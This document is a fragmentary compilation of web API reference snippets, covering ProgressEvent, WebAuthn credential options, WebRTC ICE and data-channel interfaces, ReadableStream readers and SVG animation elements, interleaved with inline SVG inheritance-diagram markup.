...rdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/processinginstruction" target="_top"><rect x="436" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processingin...
ProgressEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="mid...
...dle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/progressevent" target="_top"><rect x="116" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">progressevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor progressevent() creates a progressevent event with the given parameters.
... progressevent.initprogressevent() initializes a progressevent created using the deprecated document.createevent("progressevent") method.
... var progressbar = document.getelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcomputable) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
as of this writing (march 2019), only "public-key" may be used.
...the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... examples var publickey = { excludecredentials: [ { type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /* this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, p...
...ubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'excludecredentials' in that specification.
PublicKeyCredentialCreationOptions.rp - Web APIs
"login.example.com").
..."example.com").
..."example corp").
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definiti...
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
as of this writing (march 2019), only "public-key" may be used.
...the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... if the authenticator does not contain any of these public key credentials, the client will throw a domexception "notallowederror".
... examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definit...
RTCDTMFToneChangeEvent - Web APIs
properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing.
...it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event.
...it appends each tone to a display box as it's played, and, once all tones have been sent, re-enabled a previously-disabled "send" button, allowing the next dmtf string to be entered.
... dtmfsender.addeventlistener("change", function(event) { if (event.tone !== "") { dialstringbox.innertext += event.tone; } else { senddtmfbutton.disabled = false; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent' in that specification.
RTCIceCandidate.candidate - Web APIs
syntax var candidate = rtcicecandidate.candidate; value a domstring describing the properties of the candidate, taken directly from the sdp attribute "candidate".
...if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker.
...for an a-line (attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host".
...the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example in this example, we see a function which receives as input an sdp string containing an ice candidate received from the remote peer during the signaling process.
RTCIceCandidate.tcpType - Web APIs
"active" the transport will try to open an outbound connection but won't receive inoming connection requests.
... "passive" the transport will receive incoming connection requests but won't try to open an outbound connection.
... "so" the transport will try to open a connection simultaneously with its peer.
... if (candidate.protocol == "tcp" && candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.tcptype' in that specification.
RTCIceCandidateInit.candidate - Web APIs
value a domstring describing the properties of the candidate, taken directly from the sdp attribute "candidate".
...if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker.
...for an a-line (attribute line) that looks like this: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the corresponding candidate string's value will be "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host".
...the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example when a new ice candidate is received by your signaling code from the remote peer, you need to construct the rtcicecandidate object that encapsulates it.
RTCIceTransport.gatheringState - Web APIs
the read-only rtcicetransport property gatheringstate returns a domstring from the enumerated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete".
... syntax gatherstate = rtcicetransport.gatheringstate; value a string from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
... "gathering" the transport is in the process of gathering candidates.
... "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device.
RTCIceTransport - Web APIs
the value is one of the strings from the rtcicetransport enumerated type: "rtp" or "rtsp".
...the value is one of those included in the rtcicegathererstate enumerated type: "new", "gathering", or "complete".
... role read only returns a domstring whose value is one of the members of the rtcicerole enumerated type: "controlling" or "controlled"; this indicates whether the ice agent is the one that makes the final decision as to the candidate pair to use or not.
...the value of state can be used to determine whether the ice agent has made an initial connection using a viable candidate pair ("connected"), made its final selection of candidate pairs ("completed"), or in an error state ("failed"), among other states.
RTCPeerConnection.addIceCandidate() - Web APIs
if the candidate parameter is missing or a value of null is given when calling addicecandidate(), the added ice candidate is an "end-of-candidates" indicator.
... the same is the case if the value of the specified object's candidate is either missing or an empty string (""), it signals that all remote candidates have been delivered.
... // this example assumes that the other peer is using a signaling channel as follows: // // pc.onicecandidate = event => { // if (event.candidate) { // signalingchannel.send(json.stringify({ice: event.candidate})); // "ice" is arbitrary // } else { // // all ice candidates have been sent // } // } signalingchannel.onmessage = receivedstring => { const message = json.parse(receivedstring); if (message.ice) { // a typical value of ice here might look something like this: // // {candidate: "candidate:0 1 udp 2122154243 192.168.1.9 53421 typ host", sdpmid: "0", ...} // // pass the wh...
...ole thing to addicecandidate: pc.addicecandidate(message.ice).catch(e => { console.log("failure during addicecandidate(): " + e.name); }); } else { // handle other things you might be signaling, like sdp } } the last candidate to be signaled this way by the remote peer will be a special candidate denoting end-of-candidates.
RTCPeerConnection.createDataChannel() - Web APIs
protocol optional the name of the sub-protocol being used on the rtcdatachannel, if any; otherwise, the empty string ("").
... default: empty string, "".
... // offerer side var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat"); channel.onopen = function(event) { channel.send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel;  channel.onopen = function(event) { channel.send('hi back!'); } channel.onmessage = function(event) { console.log(eve...
...nt.data); } } alternatively, more symmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.send('hi!'); } channel.onmessage = function(event) { console.log(event.data); } for a more thorough example showing how the connection and channel are established, see a simple rtcdatachannel sample.
RTCPeerConnection.iceGatheringState - Web APIs
constant description "new" the peer connection was just created and hasn't done any networking yet.
... "gathering" the ice agent is in the process of gathering candidates for the connection.
... "complete" the ice agent has finished gathering candidates.
... if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will revert to "gathering" to gather those candidates.
RTCRtpTransceiver.currentDirection - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "recvonly" does not offer to send rtp data, and will not do so.
... "inactive" does not offer to send rtp data, and will not do so.
RTCRtpTransceiverDirection - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... "recvonly" does not offer to send rtp data, and will not do so.
... "inactive" does not offer to send rtp data, and will not do so.
RTCSessionDescription.type - Web APIs
the allowed values are those of an enum of type rtcsdptype: "offer", the description is the initial proposal in an offer/answer exchange.
... "answer", the description is the definitive choice in an offer/answer exchange.
... "pranswer", the description is a provisional answer and may be changed when the definitive choice will be given.
... "rollback", the description rolls back to offer/answer state to the last stable state.
ReadableStream.getReader() - Web APIs
values can be: "byob", which results in a readablestreambyobreader being created that can read readable byte streams (i.e.
... can handle "bring your own buffer" reading).
... exceptions rangeerror the provided mode value is not "byob" or undefined.
... if (done) { console.log("stream complete"); para.textcontent = value; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
ReadableStreamDefaultReader.read() - Web APIs
if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... async function* maketextfilelineiterator(fileurl) { const utf8decoder = new textdecoder("utf-8"); let response = await fetch(fileurl); let reader = response.body.getreader(); let {value: chunk, done: readerdone} = await reader.read(); chunk = chunk ?
... utf8decoder.decode(chunk) : ""; let re = /\r\n|\n|\r/gm; let startindex = 0; let result; for (;;) { let result = re.exec(chunk); if (!result) { if (readerdone) { break; } let remainder = chunk.substr(startindex); ({value: chunk, done: readerdone} = await reader.read()); chunk = remainder + (chunk ?
... utf8decoder.decode(chunk) : ""); startindex = re.lastindex = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(urloffile)) { processline(line); } specifications specification status comment streamsthe definition of 'read()' in that specification.
SVGAnimateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="...
...291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a><polyline points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimateelement" target="_top"><rect x="81" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimateelement</text></a></svg></div> a:hover text { fill: #0095dd; poi...
SVGAnimateMotionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line ...
...x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...dle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_to...
...p"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a><polyline points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimatemotionelement" target="_top"><rect x="21" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="136" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatemotionelement</text></a></svg></div> a:hover t...
SVGAnimateTransformElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/>...
...<line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baselin...
...e="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" targe...
...t="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a><polyline points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimatetransformelement" target="_top"><rect x="-9" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatetransformelement</text></a></svg></div> ...
SVGAnimationElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" ali...
...gnment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y=...
..."30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stro...
...ke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
SVGClipPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,...
...30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e...
...53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href...
...="/docs/web/api/svgclippathelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgclippathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
SVGComponentTransferFunctionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
... 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53"...
... text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/...
...docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomponenttransfer_type_unknown 0 the type is not one of predefined types.
SVGCursorElement - Web APIs
